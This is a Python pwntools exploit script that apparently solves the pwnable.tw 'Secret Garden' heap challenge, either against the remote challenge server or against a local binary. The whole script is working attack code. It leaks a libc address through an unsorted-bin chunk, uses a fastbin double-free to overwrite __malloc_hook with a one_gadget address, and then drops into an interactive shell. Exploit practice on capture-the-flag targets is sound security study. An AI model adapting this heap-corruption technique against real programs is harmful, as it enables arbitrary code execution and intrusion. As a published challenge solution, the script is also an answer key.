1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import *
exe = ELF("./secretgarden_patched") libc = ELF("./libc_64.so.6") ld = ELF("./ld-2.23.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10203)
return r
def add_flower (p, size, name, color): p.sendafter (b'Your choice : ', b'1') p.sendlineafter (b'Length of the name :', size) p.sendafter (b'The name of flower :', name) p.sendlineafter (b'The color of the flower :', color) def show (p): p.sendafter (b'Your choice : ', b'2')
def remove_flower (p, id): p.sendafter (b'Your choice : ', b'3') p.sendlineafter (b'Which flower do you want to remove from the garden:', id)
def clean_garden (p): p.sendafter (b'Your choice : ', b'4')
def main(): p = conn() add_flower (p, b'1042', b'ndd', b'ndd') add_flower (p, b'1042', b'ndd1', b'ndd1') remove_flower (p, b'0') add_flower (p, b'1000', b'A' * 8, b'ndd') show (p) p.recvuntil (b'A' * 8) leak_libc = u64 (p.recv (6) + b'\x00\x00') print ("The main arena is: ", hex (leak_libc)) libc.address = leak_libc - libc.symbols['main_arena'] - 88 print ("The address of libc is : ", hex (libc.address)) print ("The milestone ---------------------------------------------------------------------------------------------------------------------") remove_flower (p, b'0') remove_flower (p, b'1') clean_garden (p)
add_flower (p, b'104', b'ndd', b'ndd') add_flower (p, b'104', b'ndd1', b'ndd1') remove_flower (p, b'0') remove_flower (p, b'1') remove_flower (p, b'0')
add_flower (p, b'104', p64 (libc.symbols['__malloc_hook'] - 0x23), b'AAAA') add_flower (p, b'104', b'AAAA', b'AAAA') add_flower (p, b'104', b'AAAA', b'AAAA') add_flower (p, b'104', b'\x00' * 0x13 + p64 (libc.address + 0xef6c4), b'ndd')
remove_flower (p, b'0') remove_flower (p, b'0')
p.interactive()
if __name__ == "__main__": main()
|